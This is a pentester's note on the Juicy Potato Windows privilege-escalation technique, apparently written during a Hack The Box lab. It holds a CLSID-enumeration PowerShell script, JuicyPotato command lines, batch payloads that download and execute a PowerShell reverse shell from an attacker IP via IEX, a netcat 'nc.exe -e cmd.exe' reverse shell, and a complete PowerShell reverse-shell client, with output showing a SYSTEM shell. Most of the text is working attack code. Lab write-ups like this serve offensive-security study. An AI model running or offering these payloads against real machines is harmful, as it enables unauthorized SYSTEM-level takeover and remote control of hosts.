What is Juicy Potato

It is an exploit that can be used to gain a SYSTEM level shell on a target machine if the current user has the SE IMPERSONATE privilege set. This isn’t so much a vulnerability but more an abuse of functionality. The impersonate privilege allows an account, typically a service account like svc\mysql to impersonate any user on the machine, including local system. Therefore this if an account has this privilege enabled it should be treated as local system as there is no way to prevent this as it is normal functionality.

How does it work?

tbc

Get CLSIDs

In order to carry out this exploit you need a CLSID of a process running on the host with local system privileges. The process we choose will be the target process for this exploit and is the process we will be impersonating.

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
    if ($ID.appid -ne $null){
        $CLSID += $ID
    }
}

Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
    if ($AID.LocalService -ne $null){
        $APPID += $AID
    }
}

Write-Output "Joining CLSIDs and APIDs"
$RESULT = @()
Foreach ($app in $APPID){
    Foreach ($CLS in $CLSID){
        if($CLS.AppId -eq $app.AppID){
            $RESULT += New-Object psobject -Property @{
                AppId    = $app.AppId
                LocalService = $app.LocalService
                CLSID = $CLS.CLSID
            }

            break
        }
    }
}

$RESULT = $RESULT | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

Potential Payloads

There are different ways to get the same result with this exploit and sometimes you will have to play around with a few options until you get the exploit working.

Direct rev shell

This executes a reverse shell directly

c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c powershell c:\inetpub\wwwroot\revShell.ps1"

Download rev shell

This download a shell and then executes it

c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\payload.bat"

Inside payload.bat

Runs bat file to download a powershell reverse shell and execute it

┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ cat payload.bat 
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8001/revShell.ps1')"

nc reverse shell

c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\payload2.bat"
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.16.4 8004"

Inside payload2.bat

netcat reverse shell

┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ cat payload2.bat 
c:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.16.4 8004

Payload

c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex(New-Object Net.WebClient).downloadString('http://10.10.16.4:8001/revShell.ps1')" -t *

Shell

┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ nc -nvlp 8004                                                                         1 ⨯
listening on [any] 8004 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49240


whoami
nt authority\system

Reverse Shell

$socket = new-object System.Net.Sockets.TcpClient('10.10.16.4', 8004);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
        $writer.WriteLine($res)
    }
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()